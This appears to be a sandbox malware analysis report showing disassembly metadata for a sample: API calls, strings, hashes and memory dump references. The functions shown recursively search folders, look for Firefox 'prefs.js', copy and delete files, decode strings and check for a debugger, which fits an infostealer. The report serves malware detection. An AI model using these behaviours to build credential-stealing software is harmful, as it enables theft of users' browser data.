Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: free
String ID: , ?$4$8a$@Da$__langid$_content$bua$bua$bua$compress$content$fts3$rowid$simple$uncompress$va$a
API String ID: 1294909896-3798220086
Opcode ID: 40612443b5e17139ce0bfa3111ada09ecbb9be317589bd1f41a3369fef3ba68b
Instruction ID: ef7f48c3fdd7dc8ca6414c769173e2ec05d9438d07e734940b1c5d50411cadd4
Opcode Fuzzy Hash: 40612443b5e17139ce0bfa3111ada09ecbb9be317589bd1f41a3369fef3ba68b
Instruction Fuzzy Hash: 40C2B0B49083598FDB10CFA8C58479DBBF1AF88318F2589AED898AB341D774D985CF41

Function 0040EE20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040EE3E
FindFirstFileA.KERNEL32(?,?), ref: 0040EE55
StrCmpCA.SHLWAPI(?,00421630), ref: 0040EEAB
StrCmpCA.SHLWAPI(?,00421634), ref: 0040EEC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F3AE
FindClose.KERNEL32(000000FF), ref: 0040F3C3

Strings

%s\*.*, xrefs: 0040EE32

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 38d69f2f09f87079fe5a1c60b77b7f2141a452a07f2acec5ab03da630f1b709b
Instruction ID: d58f243a0e81953373eaf00141ed8e3e8bc28467f540fc5aad09a1a01b74b281
Opcode Fuzzy Hash: 38d69f2f09f87079fe5a1c60b77b7f2141a452a07f2acec5ab03da630f1b709b
Instruction Fuzzy Hash: 79E16371A121189ADB14FB61DC62EEE7339AF50314F4045EEB10A62092EF386BD9CF59

Function 6C8B40D0 Relevance: 17.4, Strings: 13, Instructions: 1151COMMON

Download Yara Rule

Strings

te knd 3expand 32-by, xrefs: 6C8B4386
expand 3, xrefs: 6C8B451D
te k, xrefs: 6C8B43EC
te k, xrefs: 6C8B437F
2-by, xrefs: 6C8B43A6
nd 32-by, xrefs: 6C8B44EC
nd 3, xrefs: 6C8B414F
expa, xrefs: 6C8B4499
expa, xrefs: 6C8B45F3
2-by, xrefs: 6C8B412E
2-byexpa, xrefs: 6C8B438D
te k, xrefs: 6C8B4576
expand 32-by, xrefs: 6C8B4400

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
API String ID: 0-1562099544
Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction ID: a36235ecabd26a336d2af16c6d6b939a07e8c8a4ac354d62be0b4a6f7d00af49
Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction Fuzzy Hash: 86E276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56

Function 61E9E24F Relevance: 17.1, Strings: 13, Instructions: 869COMMON

Download Yara Rule

Strings

rowid, xrefs: 61E9E89A, 61E9E993
config, xrefs: 61E9ECC9
version, xrefs: 61E9ECE8
id INTEGER PRIMARY KEY, block BLOB, xrefs: 61E9EACC
content, xrefs: 61E9E6BE, 61E9EC68, 61E9EE3F
k PRIMARY KEY, v, xrefs: 61E9ECC4
docsize, xrefs: 61E9ECA4, 61E9EE46
idx, xrefs: 61E9EAF7
bua, xrefs: 61E9ED4E
bua, xrefs: 61E9E43E
segid, term, pgno, PRIMARY KEY(segid, term), xrefs: 61E9EAF2
id INTEGER PRIMARY KEY, sz BLOB, xrefs: 61E9EC9F
data, xrefs: 61E9EAD1

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: bua$bua$config$content$data$docsize$id INTEGER PRIMARY KEY, block BLOB$id INTEGER PRIMARY KEY, sz BLOB$idx$k PRIMARY KEY, v$rowid$segid, term, pgno, PRIMARY KEY(segid, term)$version
API String ID: 0-2268357529
Opcode ID: ded661c404d5cc3ee6d8e860b08a1552b0deeae0106c20c9e1028bc7c6586be6
Instruction ID: f9c2f8dafde392a94833a84278d27f7abaf5337b7a20f26a6dc113648fca896e
Opcode Fuzzy Hash: ded661c404d5cc3ee6d8e860b08a1552b0deeae0106c20c9e1028bc7c6586be6
Instruction Fuzzy Hash: FE8206B49046499FDB10CFA9C18079DBBF1BF89318F25C92EE894AB395D774D881CB42

Function 0040DF10 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C32), ref: 0040DF5E
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040DFAE
StrCmpCA.SHLWAPI(?,004215C4), ref: 0040DFC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E4E0
FindClose.KERNEL32(000000FF), ref: 0040E4F2

Strings

\*.*, xrefs: 0040DF26
4@, xrefs: 0040DF32, 0040E500, 0040DFF3, 0040DF75, 0040DFF6

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 4@$\*.*
API String ID: 2325840235-1993203227
Opcode ID: 54d8d47cebce18dc061c737a2282c8a44b02ada443728c4d2594b53370c250fa
Instruction ID: 5b1d21d8256b1a4f75019a03d5e94b0e3f490a8b44af3c5bb40891ece502d815
Opcode Fuzzy Hash: 54d8d47cebce18dc061c737a2282c8a44b02ada443728c4d2594b53370c250fa
Instruction Fuzzy Hash: F6F14D71A151189ACB25EB61DCA5EEE7339AF14314F4005EFB10A62091EF387BD8CF5A

Function 0040F7B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004216B0,00420D97), ref: 0040F81E
StrCmpCA.SHLWAPI(?,004216B4), ref: 0040F86F
StrCmpCA.SHLWAPI(?,004216B8), ref: 0040F885
FindNextFileA.KERNEL32(000000FF,?), ref: 0040FBB1
FindClose.KERNEL32(000000FF), ref: 0040FBC3

Strings

prefs.js, xrefs: 0040F912

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: fa97d7417b00e0ed7db09385c6ddcfeec11e37439937ba94b1fa1e1cdc91277e
Instruction ID: 41002e5bbb8aa5eaa1de2a73ae7baa64e6dc855d43d68c47d205a656f8df75cd
Opcode Fuzzy Hash: fa97d7417b00e0ed7db09385c6ddcfeec11e37439937ba94b1fa1e1cdc91277e
Instruction Fuzzy Hash: 84B19371A011089BCB24FF61DC96FEE7379AF54304F0045AEA50A57191EF386B98CF9A

Function 00401710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042523C,?,00401F6C,?,004252E4,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,0042538C), ref: 004019B3
StrCmpCA.SHLWAPI(?,00425434), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 593c2a3ff22a37fd04f94e9cda3fbcdd82532874f186b23895682dff13c4dd8a
Instruction ID: df326988fd69e0da1611ef2be43153edb0d5c51867ec3eea105421fd5dfb977f
Opcode Fuzzy Hash: 593c2a3ff22a37fd04f94e9cda3fbcdd82532874f186b23895682dff13c4dd8a
Instruction Fuzzy Hash: F5125171A111189BCB15FB61DCA6EEE7339AF14314F4045EEB10662091EF386BD8CFA9

Function 0040DB80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215A8,00420BAF), ref: 0040DBEB
StrCmpCA.SHLWAPI(?,004215AC), ref: 0040DC33
StrCmpCA.SHLWAPI(?,004215B0), ref: 0040DC49
FindNextFileA.KERNEL32(000000FF,?), ref: 0040DECC
FindClose.KERNEL32(000000FF), ref: 0040DEDE

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 62dd4eb8aaf485a9b3b424bef752cb1b9e720914b8e7beaa3b58e856919e7599
Instruction ID: c85deeef17d72a94dc1f170446f25d55197e78b42259dde6f56d7dfc7a2e5770
Opcode Fuzzy Hash: 62dd4eb8aaf485a9b3b424bef752cb1b9e720914b8e7beaa3b58e856919e7599
Instruction Fuzzy Hash: 40917572A001049BCB14FBB1ED96DED733DAF84344F00456EF90666185EE38AB5CCB9A

Function 61EA2F47 Relevance: 11.8, APIs: 2, Strings: 5, Instructions: 1261COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61EA3821
memcmp.MSVCRT ref: 61EA397C

Strings

optimize, xrefs: 61EA3281
DELETE from, xrefs: 61EA3C5A
UPDATE, xrefs: 61EA3C5F
content, xrefs: 61EA356B
docsize, xrefs: 61EA3F81

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: memcmp
String ID: DELETE from$UPDATE$content$docsize$optimize
API String ID: 1475443563-624765053
Opcode ID: 17028c3b2c304cd30b9c01762a62d687245c4bb9f2afc410cde143288d22f01a
Instruction ID: 70c6a14bc8af06d6aef6aa9ad5cb9e7fc1cc1a093b7b28355e50790c232760be
Opcode Fuzzy Hash: 17028c3b2c304cd30b9c01762a62d687245c4bb9f2afc410cde143288d22f01a
Instruction Fuzzy Hash: ABC2F674A042598FDB10DFA8C980B8DBBF1BF88308F2585A9D849AB345D774ED85CF81

Function 0040C920 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C953
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,02CBEC40), ref: 0040C971
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C97C
memcpy.MSVCRT(?,?,?), ref: 0040CA12
lstrcatA.KERNEL32(?,00420B47), ref: 0040CA43
lstrcatA.KERNEL32(?,00420B4B), ref: 0040CA57
lstrcatA.KERNEL32(?,00420B4E), ref: 0040CA78

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: b72dd9bfbf458160f1e602edd60bafd9c1ab3fe4aebb36f7fc77a597216b37cf
Instruction ID: ab8a272bb0ac48908ccb48df32c4a676bf2e37b68a454f4a62162a4422f92537
Opcode Fuzzy Hash: b72dd9bfbf458160f1e602edd60bafd9c1ab3fe4aebb36f7fc77a597216b37cf
Instruction Fuzzy Hash: FD4130B4E0421DDBDB10CFA4DD89BEEB7B9BB48304F1042AAF509A62C0D7745A84CF95

Function 0041B63A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BEA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BEB7
UnhandledExceptionFilter.KERNEL32(eM), ref: 0041BEC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BEDE
TerminateProcess.KERNEL32(00000000), ref: 0041BEE5

Strings

eM, xrefs: 0041BEBD

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: eM
API String ID: 2579439406-4107679315
Opcode ID: 193660ad69945e5d4e8f2537fb9143e859482eb6e3c007ea4e683d192d75b70a
Instruction ID: e0cf9fd370cfefa4586a3e07c7ad2671862445e1fb84a52232205764a1bb9e34
Opcode Fuzzy Hash: 193660ad69945e5d4e8f2537fb9143e859482eb6e3c007ea4e683d192d75b70a
Instruction Fuzzy Hash: FC21CCB8902214DFC710DF69FC85A883BB4FB18314F12807BE90887262E7B499818F5D

Function 61E88FCA Relevance: 9.6, Strings: 7, Instructions: 866COMMON

Download Yara Rule

Strings

invalid rootpage, xrefs: 61E89B28
bua, xrefs: 61E89A13
sqlite_master, xrefs: 61E8932D
index, xrefs: 61E890AB, 61E89217, 61E893FF
sqlite_temp_master, xrefs: 61E89339
BINARY, xrefs: 61E896A2, 61E89791
UNIQUE, xrefs: 61E899F4

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: UNIQUE$BINARY$bua$index$invalid rootpage$sqlite_master$sqlite_temp_master
API String ID: 0-1733444394
Opcode ID: c992c50281e1d2a2ecb6a3a695e9d7902225fb130184855efa50adbf899f08fd
Instruction ID: c52f25025489653eb610d6e343a086c80a5a7374dd8721026aec1ef0af0b0df4
Opcode Fuzzy Hash: c992c50281e1d2a2ecb6a3a695e9d7902225fb130184855efa50adbf899f08fd
Instruction Fuzzy Hash: 1892F174E08255CFDB51CFA8C580B99BBF1BF89308F65C1A9E859AB352D734E881CB41

Function 61E56F18 Relevance: 9.6, APIs: 5, Strings: 1, Instructions: 606COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E57166

Strings

NEAR, xrefs: 61E57493

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
